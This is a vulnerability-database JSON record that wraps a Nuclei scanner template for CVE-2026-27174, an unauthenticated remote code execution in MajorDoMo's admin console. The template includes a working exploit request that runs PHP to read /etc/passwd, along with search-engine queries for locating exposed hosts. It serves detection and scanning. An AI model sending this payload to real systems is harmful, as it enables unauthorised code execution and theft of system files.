{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-27174/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-27174/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-27174/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-27174/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-27174/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-27174"},"sightings":{"href":"/api/v1/sightings/cve-2026-27174"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-27174.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-27174\n\ninfo:\n  name: MajorDoMo - Unauthenticated RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   MajorDoMo contains a remote code execution caused by an include order bug and lack of exit after redirect in admin panel's PHP console, letting unauthenticated attackers execute arbitrary PHP code via crafted GET requests.\n  impact: |\n   Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full system compromise.\n  remediation: |\n   Update to the latest version with the fix for the include order bug and proper exit after redirect.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27174\n    - https://github.com/sergejey/majordomo/issues/1177\n    - https://chocapikk.com/posts/2026/majordomo-revisited\n    - https://www.vulncheck.com/advisories/majordomo-unauthenticated-remote-code-execution-via-admin-console-eval\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 10.0\n    cve-id: CVE-2026-27174\n    epss-score: 0.06853\n    epss-percentile: 0.94066\n    cwe-id: CWE-94\n    cpe: cpe:2.3:a:sergejey:majordomo:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: sergejey\n    product: majordomo\n    fofa-query: body=\"templates/application.html\"\n    shodan-query: http.html:\"templates/application.html\"\n  tags: cve,cve2026,rce,majordomo,php,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'MajordomoSL', 'templates/application.html', 'majordomo')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /admin.php?ajax_panel=1&op=console&command=echo+file_get_contents%28%27%2Fetc%2Fpasswd%27%29%3B HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:[x*]:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502207bf69638c9693e2a7573925d2830b4424b9abbc508aa3aef900f7e99e2c16ee6022100a6d19be087b244dc8037564a5ee434bab896423f291e0128105986e807bc151c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-27174"}